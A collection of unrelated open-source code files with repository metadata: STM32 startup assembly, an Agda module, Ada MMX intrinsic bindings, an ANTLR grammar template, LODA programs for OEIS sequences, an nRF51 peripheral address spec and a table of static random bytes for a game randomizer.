<reponame>JeppeSRC/STM32-Lib<gh_stars>0 .syntax unified .thumb .section .isr_vector,"ax" .global isr_vector .global Reset_Handler .global Default_Handler .extern _textend .extern _datastart .extern _dataend .extern _bssstart .extern _bssend .extern main //.extern C_Default_Handler .macro IRQ handler .word \handler .weak \handler .set \handler, Default_Handler .endm .thumb isr_vector: .word 0x20004000 //intitial SP value top of memory (16K) .word Reset_Handler IRQ NMI_Handler IRQ HardFault_Handler IRQ MMFault_Handler IRQ BusFault_Handler IRQ UsageFault_Handler .word 0 .word 0 .word 0 .word 0 IRQ SVCall_Handler .word 0 .word 0 IRQ PendSV_Handler IRQ SysTick_Handler IRQ WWDG_Handler //position 0 IRQ PVD_Handler IRQ TAMP_Handerl IRQ RTC_WKUP_Handler IRQ FLASH_Handler IRQ RCC_Handler IRQ EXTI0_Handler IRQ EXTI1_Handler IRQ EXTI2TS_Handler IRQ EXTI3_Handler IRQ EXTI4_Handler IRQ DMA1_CH1_Handler IRQ DMA1_CH2_Handler IRQ DMA1_CH3_Handler IRQ DMA1_CH4_Handler IRQ DMA1_CH5_Handler IRQ DMA1_CH6_Handler IRQ DMA1_CH7_Handler IRQ ADC1_Handler IRQ CANTX_Handler IRQ CANRXD_Handler IRQ RXI_Handler IRQ SCE_Handler IRQ EXTI5_9_Handler IRQ TIM15_Handler IRQ TIM16_Handler IRQ TIM17_Handler IRQ TIM18_DAC2_Handler IRQ TIM2_Handler IRQ TIM3_Handler IRQ TIM4_Handler IRQ I2C1_EV_Handler IRQ I2C1_ER_Handler IRQ I2C2_EV_Handler IRQ I2C2_ER_Handler IRQ SPI1_Handler IRQ SPI2_Handler IRQ USART1_Handler IRQ USART2_Handler IRQ USART3_Handler IRQ EXTI15_10_Handler IRQ RTC_ALARM_IT_Handler IRQ CEC_Handler IRQ TIM12_Handler IRQ TIM13_Handler IRQ TIM14_Handler .word 0 .word 0 .word 0 .word 0 IRQ TIM5_Handler IRQ SPI3_Handler .word 0 .word 0 IRQ TIM6_DAC1_Handler IRQ TIM7_Handler IRQ DMA2_CH1_Handler IRQ DMA2_CH2_Handler IRQ DMA2_CH3_Handler IRQ DMA2_CH4_Handler IRQ DMA2_CH5_Handler IRQ SDADC1_Handler IRQ SDADC2_Handler IRQ SDADC3_Handler IRQ COMP1_2_Handler .word 0 .word 0 .word 0 .word 0 .word 0 .word 0 .word 0 .word 0 .word 0 IRQ USB_HP_Handler IRQ USB_LP_Handler IRQ USB_WAKEUP_Handler .word 0 IRQ TIM19_Handler .word 0 .word 0 IRQ FPU_Handler .align 4 TEXT_END: .word _textend SI_START: .word _sidatastart DATA_START: .word _datastart DATA_END: .word _dataend BSS_START: .word _bssstart BSS_END: .word _bssend .thumb_func Reset_Handler: ldr r0, =0x20004000 mov sp, r0 # Enable FPU ldr r0, =0xE000ED88 ldr r1, =0x00F00000 ldr r2, [r0] orr r2, r1 str r2, [r0] dsb isb ldr r0, SI_START ldr r1, DATA_START ldr r2, DATA_END subs r2, r1 beq DataZero DataCopy: ldr r3, [r0], #4 str r3, [r1], #4 subs r2, #4 bne DataCopy DataZero: ldr r0, BSS_START ldr r1, BSS_END subs r1, r0 beq Main eor r2, r2 BssZero: str r2, [r0], #4 subs r1, #4 bne BssZero Main: eor r0, r0 eor r1, r1 bl main .thumb_func Default_Handler: //bl C_Default_Handler b .
archive/agda-2/Oscar/Data/Vec/Core.agda
m0davis/oscar
0
5421
module Oscar.Data.Vec.Core where open import Data.Vec public using (Vec; []; _∷_)
source/league/arch/x86_generic/matreshka-simd-intel-mmx.ads
svn2github/matreshka
24
1272
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Localization, Internationalization, Globalization for Ada -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2010-2013, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This package provides access to Intel x86 MMX instructions set. ------------------------------------------------------------------------------ package Matreshka.SIMD.Intel.MMX is pragma Preelaborate; procedure mm_empty; pragma Import (Intrinsic, mm_empty, "__builtin_ia32_emms"); -- _mm_cvtsi32_si64 -- _mm_cvtsi64_m64 -- _mm_cvtsi64x_si64 -- _mm_set_pi64x -- _mm_cvtsi64_si32 -- _mm_cvtm64_si64 -- _mm_cvtsi64_si64x function mm_packs_pi16 (A : v4hi; B : v4hi) return v8qi; pragma Import (Intrinsic, mm_packs_pi16, "__builtin_ia32_packsswb"); function mm_packs_pi32 (A : v2si; B : v2si) return v4hi; pragma Import (Intrinsic, mm_packs_pi32, "__builtin_ia32_packssdw"); function mm_unpackhi_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_unpackhi_pi8, "__builtin_ia32_punpckhbw"); function mm_unpackhi_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_unpackhi_pi16, "__builtin_ia32_punpckhwd"); function mm_unpackhi_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_unpackhi_pi32, "__builtin_ia32_punpckhdq"); function mm_unpacklo_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_unpacklo_pi8, "__builtin_ia32_punpcklbw"); function mm_unpacklo_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_unpacklo_pi16, "__builtin_ia32_punpcklwd"); function mm_unpacklo_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_unpacklo_pi32, "__builtin_ia32_punpckldq"); function mm_add_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_add_pi8, "__builtin_ia32_paddb"); function mm_add_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_add_pi16, "__builtin_ia32_paddw"); function mm_add_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_add_pi32, "__builtin_ia32_paddd"); function mm_add_si64 (A : v1di; B : v1di) return v1di; pragma Import (Intrinsic, mm_add_si64, "__builtin_ia32_paddq"); -- x86_64 function mm_adds_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_adds_pi8, "__builtin_ia32_paddsb"); function mm_adds_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_adds_pi16, "__builtin_ia32_paddsw"); function mm_adds_pu8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_adds_pu8, "__builtin_ia32_paddusb"); function mm_adds_pu16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_adds_pu16, "__builtin_ia32_paddusw"); function mm_sub_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_sub_pi8, "__builtin_ia32_psubb"); function mm_sub_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_sub_pi16, "__builtin_ia32_psubw"); function mm_sub_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_sub_pi32, "__builtin_ia32_psubd"); function mm_sub_si64 (A : v1di; B : v1di) return v1di; pragma Import (Intrinsic, mm_sub_si64, "__builtin_ia32_psubq"); function mm_subs_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_subs_pi8, "__builtin_ia32_psubsb"); function mm_subs_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_subs_pi16, "__builtin_ia32_psubsw"); function mm_subs_pu8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_subs_pu8, "__builtin_ia32_psubusb"); function mm_subs_pu16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_subs_pu16, "__builtin_ia32_psubusw"); function mm_madd_pi16 (A : v4hi; B : v4hi) return v2si; pragma Import (Intrinsic, mm_madd_pi16, "__builtin_ia32_pmaddwd"); function mm_mulhi_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_mulhi_pi16, "__builtin_ia32_pmulhw"); function mm_mullo_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_mullo_pi16, "__builtin_ia32_pmullw"); function mm_sll_pi16 (A : v4hi; Count : v4hi) return v4hi; pragma Import (Intrinsic, mm_sll_pi16, "__builtin_ia32_psllw"); function mm_slli_pi16 (A : v4hi; Count : Interfaces.Integer_32) return v4hi; pragma Import (Intrinsic, mm_slli_pi16, "__builtin_ia32_psllwi"); function mm_sll_pi32 (A : v2si; Count : v2si) return v2si; pragma Import (Intrinsic, mm_sll_pi32, "__builtin_ia32_pslld"); function mm_slli_pi32 (A : v2si; Count : Interfaces.Integer_32) return v2si; pragma Import (Intrinsic, mm_slli_pi32, "__builtin_ia32_pslldi"); function mm_sll_si64 (A : v1di; Count : v1di) return v1di; pragma Import (Intrinsic, mm_sll_si64, "__builtin_ia32_psllq"); function mm_slli_si64 (A : v1di; Count : Interfaces.Integer_32) return v1di; pragma Import (Intrinsic, mm_slli_si64, "__builtin_ia32_psllqi"); function mm_sra_pi16 (A : v4hi; Count : v4hi) return v4hi; pragma Import (Intrinsic, mm_sra_pi16, "__builtin_ia32_psraw"); function mm_srai_pi16 (A : v4hi; Count : Interfaces.Integer_32) return v4hi; pragma Import (Intrinsic, mm_srai_pi16, "__builtin_ia32_psrawi"); function mm_sra_pi32 (A : v2si; Count : v2si) return v2si; pragma Import (Intrinsic, mm_sra_pi32, "__builtin_ia32_psrad"); function mm_srai_pi32 (A : v2si; Count : Interfaces.Integer_32) return v2si; pragma Import (Intrinsic, mm_srai_pi32, "__builtin_ia32_psradi"); function mm_srl_pi16 (A : v4hi; Count : v4hi) return v4hi; pragma Import (Intrinsic, mm_srl_pi16, "__builtin_ia32_psrlw"); function mm_srli_pi16 (A : v4hi; Count : Interfaces.Integer_32) return v4hi; pragma Import (Intrinsic, mm_srli_pi16, "__builtin_ia32_psrlwi"); function mm_srl_pi32 (A : v2si; Count : v2si) return v2si; pragma Import (Intrinsic, mm_srl_pi32, "__builtin_ia32_psrld"); function mm_srli_pi32 (A : v2si; Count : Interfaces.Integer_32) return v2si; pragma Import (Intrinsic, mm_srli_pi32, "__builtin_ia32_psrldi"); function mm_srl_si64 (A : v1di; Count : v1di) return v1di; pragma Import (Intrinsic, mm_srl_si64, "__builtin_ia32_psrlq"); function mm_srli_si64 (A : v1di; Count : Interfaces.Integer_32) return v1di; pragma Import (Intrinsic, mm_srli_si64, "__builtin_ia32_psrlqi"); function mm_and_si64 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_and_si64, "__builtin_ia32_pand"); function mm_andnot_si64 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_andnot_si64, "__builtin_ia32_pandn"); function mm_or_si64 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_or_si64, "__builtin_ia32_por"); function mm_xor_si64 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_xor_si64, "__builtin_ia32_pxor"); function mm_cmpeq_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_cmpeq_pi8, "__builtin_ia32_pcmpeqb"); function mm_cmpgt_pi8 (A : v8qi; B : v8qi) return v8qi; pragma Import (Intrinsic, mm_cmpgt_pi8, "__builtin_ia32_pcmpgtb"); function mm_cmpeq_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_cmpeq_pi16, "__builtin_ia32_pcmpeqw"); function mm_cmpgt_pi16 (A : v4hi; B : v4hi) return v4hi; pragma Import (Intrinsic, mm_cmpgt_pi16, "__builtin_ia32_pcmpgtw"); function mm_cmpeq_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_cmpeq_pi32, "__builtin_ia32_pcmpeqd"); function mm_cmpgt_pi32 (A : v2si; B : v2si) return v2si; pragma Import (Intrinsic, mm_cmpgt_pi32, "__builtin_ia32_pcmpgtd"); function mm_setzero_si64 return v2si; pragma Inline_Always (mm_setzero_si64); -- _mm_set_pi32 -- _mm_set_pi16 -- _mm_set_pi8 -- _mm_setr_pi32 -- _mm_setr_pi16 -- _mm_setr_pi8 -- _mm_set1_pi32 -- _mm_set1_pi16 -- _mm_set1_pi8 end Matreshka.SIMD.Intel.MMX;
antlr-plugin/src/main/resources/org/nemesis/antlr/v4/netbeans/v8/grammar/file/G4Template.g4
timboudreau/ANTLR4-Plugins-for-NetBeans
1
6217
<filename>antlr-plugin/src/main/resources/org/nemesis/antlr/v4/netbeans/v8/grammar/file/G4Template.g4<gh_stars>1-10 /****************************************************** * A multi-line Javadoc-like comment about my grammar * ******************************************************/ grammar G4Template; // Monoline comment about a parser rule myStartingRule : stat+ ; /* A multi-line Java-like comment */ stat: expr NEWLINE | ID '=' expr NEWLINE | NEWLINE ; expr: expr ('*'|'/') expr | expr ('+'|'-') expr | INT | ID | '(' expr ')' ; // some lexer rules ID : [a-zA-Z]+ ; // match identifiers INT : [0-9]+ ; // match integers NEWLINE:'\r'? '\n' ; // return newlines to parser
oeis/092/A092392.asm
neoneye/loda-programs
11
161060
<reponame>neoneye/loda-programs ; A092392: Triangle read by rows: T(n,k) = C(2*n - k,n), 0 <= k <= n. ; Submitted by <NAME> ; 1,2,1,6,3,1,20,10,4,1,70,35,15,5,1,252,126,56,21,6,1,924,462,210,84,28,7,1,3432,1716,792,330,120,36,8,1,12870,6435,3003,1287,495,165,45,9,1,48620,24310,11440,5005,2002,715,220,55,10,1,184756,92378,43758,19448,8008,3003,1001,286,66,11,1,705432,352716,167960,75582,31824,12376,4368,1365,364,78,12,1,2704156,1352078,646646,293930,125970,50388,18564,6188,1820,455,91,13,1,10400600,5200300,2496144,1144066,497420,203490,77520,27132,8568 lpb $0 sub $0,1 add $1,1 mov $2,$1 trn $2,$0 trn $0,$1 add $1,$2 lpe bin $1,$2 mov $0,$1
programs/oeis/016/A016826.asm
karttu/loda
1
175774
; A016826: a(n) = (4n + 2)^2. ; 4,36,100,196,324,484,676,900,1156,1444,1764,2116,2500,2916,3364,3844,4356,4900,5476,6084,6724,7396,8100,8836,9604,10404,11236,12100,12996,13924,14884,15876,16900,17956,19044,20164,21316,22500,23716,24964,26244,27556,28900,30276,31684,33124,34596,36100,37636,39204,40804,42436,44100,45796,47524,49284,51076,52900,54756,56644,58564,60516,62500,64516,66564,68644,70756,72900,75076,77284,79524,81796,84100,86436,88804,91204,93636,96100,98596,101124,103684,106276,108900,111556,114244,116964,119716,122500,125316,128164,131044,133956,136900,139876,142884,145924,148996,152100,155236,158404,161604,164836,168100,171396,174724,178084,181476,184900,188356,191844,195364,198916,202500,206116,209764,213444,217156,220900,224676,228484,232324,236196,240100,244036,248004,252004,256036,260100,264196,268324,272484,276676,280900,285156,289444,293764,298116,302500,306916,311364,315844,320356,324900,329476,334084,338724,343396,348100,352836,357604,362404,367236,372100,376996,381924,386884,391876,396900,401956,407044,412164,417316,422500,427716,432964,438244,443556,448900,454276,459684,465124,470596,476100,481636,487204,492804,498436,504100,509796,515524,521284,527076,532900,538756,544644,550564,556516,562500,568516,574564,580644,586756,592900,599076,605284,611524,617796,624100,630436,636804,643204,649636,656100,662596,669124,675684,682276,688900,695556,702244,708964,715716,722500,729316,736164,743044,749956,756900,763876,770884,777924,784996,792100,799236,806404,813604,820836,828100,835396,842724,850084,857476,864900,872356,879844,887364,894916,902500,910116,917764,925444,933156,940900,948676,956484,964324,972196,980100,988036,996004 mul $0,4 mov $1,$0 add $1,2 pow $1,2
bb-runtimes/arm/nordic/nrf51/svd/i-nrf51.ads
JCGobbi/Nucleo-STM32G474RE
0
14273
<gh_stars>0 -- -- Copyright (C) 2018, AdaCore -- -- Copyright (c) 2013, Nordic Semiconductor ASA -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- -- * Redistributions in binary form must reproduce the above copyright notice, -- this list of conditions and the following disclaimer in the documentation -- and/or other materials provided with the distribution. -- -- * Neither the name of Nordic Semiconductor ASA nor the names of its -- contributors may be used to endorse or promote products derived from this -- software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. -- -- This spec has been automatically generated from nrf51.svd pragma Ada_2012; pragma Style_Checks (Off); with System; -- nRF51 reference description for radio MCU with ARM 32-bit Cortex-M0 -- Microcontroller at 16MHz CPU clock package Interfaces.NRF51 is pragma Preelaborate; pragma No_Elaboration_Code_All; --------------- -- Base type -- --------------- type UInt32 is new Interfaces.Unsigned_32; type UInt16 is new Interfaces.Unsigned_16; type Byte is new Interfaces.Unsigned_8; type Bit is mod 2**1 with Size => 1; type UInt2 is mod 2**2 with Size => 2; type UInt3 is mod 2**3 with Size => 3; type UInt4 is mod 2**4 with Size => 4; type UInt5 is mod 2**5 with Size => 5; type UInt6 is mod 2**6 with Size => 6; type UInt7 is mod 2**7 with Size => 7; type UInt9 is mod 2**9 with Size => 9; type UInt10 is mod 2**10 with Size => 10; type UInt11 is mod 2**11 with Size => 11; type UInt12 is mod 2**12 with Size => 12; type UInt13 is mod 2**13 with Size => 13; type UInt14 is mod 2**14 with Size => 14; type UInt15 is mod 2**15 with Size => 15; type UInt17 is mod 2**17 with Size => 17; type UInt18 is mod 2**18 with Size => 18; type UInt19 is mod 2**19 with Size => 19; type UInt20 is mod 2**20 with Size => 20; type UInt21 is mod 2**21 with Size => 21; type UInt22 is mod 2**22 with Size => 22; type UInt23 is mod 2**23 with Size => 23; type UInt24 is mod 2**24 with Size => 24; type UInt25 is mod 2**25 with Size => 25; type UInt26 is mod 2**26 with Size => 26; type UInt27 is mod 2**27 with Size => 27; type UInt28 is mod 2**28 with Size => 28; type UInt29 is mod 2**29 with Size => 29; type UInt30 is mod 2**30 with Size => 30; type UInt31 is mod 2**31 with Size => 31; -------------------- -- Base addresses -- -------------------- POWER_Base : constant System.Address := System'To_Address (16#40000000#); CLOCK_Base : constant System.Address := System'To_Address (16#40000000#); MPU_Base : constant System.Address := System'To_Address (16#40000000#); AMLI_Base : constant System.Address := System'To_Address (16#40000000#); RADIO_Base : constant System.Address := System'To_Address (16#40001000#); UART0_Base : constant System.Address := System'To_Address (16#40002000#); SPI0_Base : constant System.Address := System'To_Address (16#40003000#); TWI0_Base : constant System.Address := System'To_Address (16#40003000#); SPI1_Base : constant System.Address := System'To_Address (16#40004000#); TWI1_Base : constant System.Address := System'To_Address (16#40004000#); SPIS1_Base : constant System.Address := System'To_Address (16#40004000#); SPIM1_Base : constant System.Address := System'To_Address (16#40004000#); GPIOTE_Base : constant System.Address := System'To_Address (16#40006000#); ADC_Base : constant System.Address := System'To_Address (16#40007000#); TIMER0_Base : constant System.Address := System'To_Address (16#40008000#); TIMER1_Base : constant System.Address := System'To_Address (16#40009000#); TIMER2_Base : constant System.Address := System'To_Address (16#4000A000#); RTC0_Base : constant System.Address := System'To_Address (16#4000B000#); TEMP_Base : constant System.Address := System'To_Address (16#4000C000#); RNG_Base : constant System.Address := System'To_Address (16#4000D000#); ECB_Base : constant System.Address := System'To_Address (16#4000E000#); AAR_Base : constant System.Address := System'To_Address (16#4000F000#); CCM_Base : constant System.Address := System'To_Address (16#4000F000#); WDT_Base : constant System.Address := System'To_Address (16#40010000#); RTC1_Base : constant System.Address := System'To_Address (16#40011000#); QDEC_Base : constant System.Address := System'To_Address (16#40012000#); LPCOMP_Base : constant System.Address := System'To_Address (16#40013000#); SWI_Base : constant System.Address := System'To_Address (16#40014000#); NVMC_Base : constant System.Address := System'To_Address (16#4001E000#); PPI_Base : constant System.Address := System'To_Address (16#4001F000#); FICR_Base : constant System.Address := System'To_Address (16#10000000#); UICR_Base : constant System.Address := System'To_Address (16#10001000#); GPIO_Base : constant System.Address := System'To_Address (16#50000000#); end Interfaces.NRF51;
staticrng.asm
Catobat/z3randomizer
26
26971
db $90, $2B, $80, $B7, $A2, $E1, $C9, $4F, $1C, $B9, $E6, $20, $58, $67, $65, $A6, $11, $CF, $79, $4C, $C7, $61, $D1, $D4, $D3, $9B, $78, $3B, $FB, $AA, $A3, $15, $7C, $36, $D7, $8B, $0B, $AD, $26, $B5, $3B, $69, $E3, $83, $7F, $11, $E2, $92, $80, $67, $E1, $9C, $CF, $D5, $45, $F5, $6B, $36, $B6, $7A, $1A, $39, $84, $13, $47, $EC, $D8, $AE, $57, $9E, $F4, $0B, $61, $BB, $8D, $0A, $4D, $62, $8E, $22, $E3, $72, $C5, $71, $F7, $99, $0B, $10, $B1, $13, $52, $5E, $78, $43, $74, $8F, $37, $69, $07, $9A, $25, $0E, $30, $6A, $03, $9E, $8E, $0F, $77, $92, $38, $33, $89, $5D, $33, $B3, $01, $A1, $BF, $69, $8D, $97, $27, $6C, $4C, $9B, $A8, $18, $99, $7E, $B2, $DB, $A7, $44, $27, $A8, $A5, $BC, $F5, $AA, $EE, $2E, $CA, $A1, $FE, $C1, $FE, $49, $AD, $3B, $CA, $42, $F3, $6C, $D9, $71, $19, $03, $7B, $E3, $A9, $86, $6C, $D0, $A2, $2B, $FB, $19, $D9, $DB, $47, $88, $7A, $20, $1F, $D5, $3E, $C7, $3F, $7F, $87, $D4, $90, $9C, $D1, $EB, $F9, $78, $11, $2F, $B9, $9B, $77, $01, $80, $DF, $39, $17, $23, $9B, $62, $E3, $A6, $53, $3C, $DC, $F9, $C9, $34, $CC, $3D, $47, $2F, $9E, $1C, $25, $EE, $84, $9E, $45, $B8, $24, $01, $AA, $E3, $B2, $B5, $93, $05, $A1, $08, $09, $38, $19, $D6, $F7, $A6, $2C, $F5, $1D, $4D, $E7, $3B, $2D, $1B, $BC, $86, $40, $D8, $EB, $75, $F2, $8B, $EA, $8C, $D4, $B7, $F1, $A6, $B3, $63, $6B, $82, $92, $DA, $91, $5D, $33, $FD, $66, $32, $92, $C8, $2A, $C2, $10, $83, $49, $1B, $B9, $30, $78, $AA, $D6, $02, $AA, $92, $21, $E6, $04, $00, $F0, $EE, $40, $3F, $5E, $6E, $17, $88, $A9, $A7, $70, $CE, $CA, $E2, $41, $A1, $22, $07, $24, $F7, $C8, $E0, $56, $50, $E0, $85, $F6, $62, $81, $43, $E1, $B7, $6B, $7E, $9E, $0E, $22, $2D, $F3, $56, $49, $73, $CC, $B2, $43, $1B, $59, $40, $5E, $76, $A9, $D5, $F6, $86, $30, $F2, $2E, $40, $E1, $77, $D8, $29, $F3, $B8, $3F, $C3, $84, $19, $E5, $8D, $71, $8C, $20, $A9, $74, $2B, $3B, $30, $3A, $83, $E1, $B8, $3D, $FB, $48, $EF, $7D, $45, $DB, $77, $B6, $6A, $E0, $BB, $58, $55, $B4, $C5, $6A, $A2, $36, $AE, $C2, $AD, $AF, $66, $82, $AB, $F9, $0F, $D9, $58, $95, $65, $98, $DC, $99, $47, $E2, $71, $CD, $6F, $A2, $F9, $5D, $2B, $BF, $67, $6A, $E8, $93, $38, $17, $C0, $7A, $D8, $74, $13, $2D, $94, $7B, $65, $51, $6D, $FE, $05, $FA, $1E, $B3, $3C, $CA, $04, $DE, $E7, $00, $97, $7E, $A4, $4D, $2F, $72, $A2, $4F, $8F, $A9, $3F, $66, $38, $20, $3D, $D4, $AA, $A5, $77, $AB, $F3, $C8, $BE, $36, $F0, $AF, $14, $57, $03, $39, $1F, $DB, $A9, $F0, $28, $05, $1F, $E6, $28, $B5, $D2, $76, $1A, $A4, $BA, $7C, $BF, $7F, $B0, $28, $27, $91, $D3, $34, $43, $47, $AA, $5D, $03, $77, $F4, $83, $CF, $37, $55, $08 db $4F, $8D, $6D, $A3, $0A, $6B, $35, $E2, $C9, $76, $D0, $41, $C4, $49, $4B, $AB, $3F, $D6, $7E, $04, $DB, $FD, $18, $81, $8C, $17, $5C, $3E, $34, $17, $74, $13, $F2, $FC, $0E, $3A, $EF, $E2, $D6, $76, $08, $63, $03, $27, $C8, $09, $45, $C1, $86, $6B, $32, $F7, $F3, $38, $39, $80, $FF, $83, $E2, $75, $6F, $89, $88, $A6, $73, $77, $F3, $24, $E9, $1E, $E1, $B2, $E0, $18, $F3, $8F, $D8, $22, $CB, $EA, $8E, $F2, $1E, $C2, $85, $44, $28, $36, $C8, $9A, $B4, $7A, $A0, $9A, $12, $D9, $97, $37, $1D, $A7, $57, $A1, $F7, $27, $AB, $8D, $AB, $54, $4E, $34, $94, $99, $82, $9D, $F9, $1D, $28, $E4, $72, $CE, $D5, $73, $D9, $AA, $F1, $EB, $7C, $8A, $0A, $55, $E4, $BD, $84, $36, $04, $4E, $E7, $9D, $40, $69, $0F, $DB, $E2, $E3, $06, $08, $7E, $13, $5B, $76, $A6, $44, $D6, $79, $84, $2A, $10, $70, $37, $CF, $08, $FE, $E1, $75, $F8, $1A, $4A, $64, $97, $D5, $7F, $E2, $FC, $CA, $EF, $BA, $FF, $2B, $B3, $14, $CC, $70, $3E, $9A, $33, $DB, $35, $69, $35, $9B, $E0, $B6, $92, $41, $93, $C0, $5D, $B4, $83, $D4, $0F, $0C, $D7, $F6, $65, $ED, $2F, $12, $76, $C2, $DA, $D4, $43, $BB, $80, $E7, $11, $A9, $46, $7C, $C1, $66, $20, $17, $75, $C5, $09, $70, $45, $17, $9C, $43, $66, $E9, $4E, $4C, $02, $DF, $4E, $3D, $03, $EC, $49, $D2, $92, $18, $DF, $F6, $53, $67, $9C, $B1, $4B, $94, $78, $2E, $F8, $F9, $4A, $10, $E9, $C0, $B8, $8D, $A8, $E2, $44, $B3, $3E, $4E, $63, $C6, $4A, $F2, $5F, $32, $35, $D4, $1C, $47, $38, $9B, $DB, $A8, $F1, $4B, $11, $9C, $63, $9E, $72, $20, $AD, $1D, $44, $45, $EA, $B3, $A0, $B0, $8A, $94, $B8, $09, $35, $3B, $8B, $60, $2F, $C5, $46, $ED, $D0, $33, $8D, $97, $25, $CD, $C0, $DE, $74, $B2, $F1, $08, $EC, $5A, $68, $EA, $3C, $62, $46, $E9, $7E, $84, $FF, $73, $36, $7C, $85, $3E, $9A, $B5, $CE, $BC, $57, $78, $53, $52, $0A, $3C, $88, $A0, $E4, $42, $AC, $E8, $3E, $5D, $EC, $82, $FA, $6F, $A8, $D3, $C9, $66, $9A, $DD, $F5, $5D, $EA, $73, $39, $06, $35, $0C, $73, $F3, $DC, $6C, $E0, $9C, $EA, $0F, $A8, $D8, $5D, $F0, $8B, $6A, $E4, $25, $BA, $0C, $0C, $E5, $77, $02, $99, $B2, $69, $A7, $EC, $D9, $4B, $FF, $EE, $EC, $E2, $0A, $16, $30, $D3, $95, $AB, $F7, $1A, $3D, $F7, $D7, $06, $79, $B0, $6E, $57, $3E, $B9, $C7, $B6, $66, $05, $95, $99, $CF, $01, $6C, $62, $F4, $84, $D4, $70, $3B, $E0, $56, $66, $A4, $BC, $1C, $8F, $DA, $3B, $97, $19, $EB, $40, $C1, $C3, $FA, $B1, $17, $5D, $8A, $24, $DE, $3D, $77, $55, $DA, $9F, $99, $7B, $44, $72, $68, $43, $33, $72, $82, $A8, $09, $F6, $C4, $D3, $9F, $00, $3F, $F7, $42, $AE, 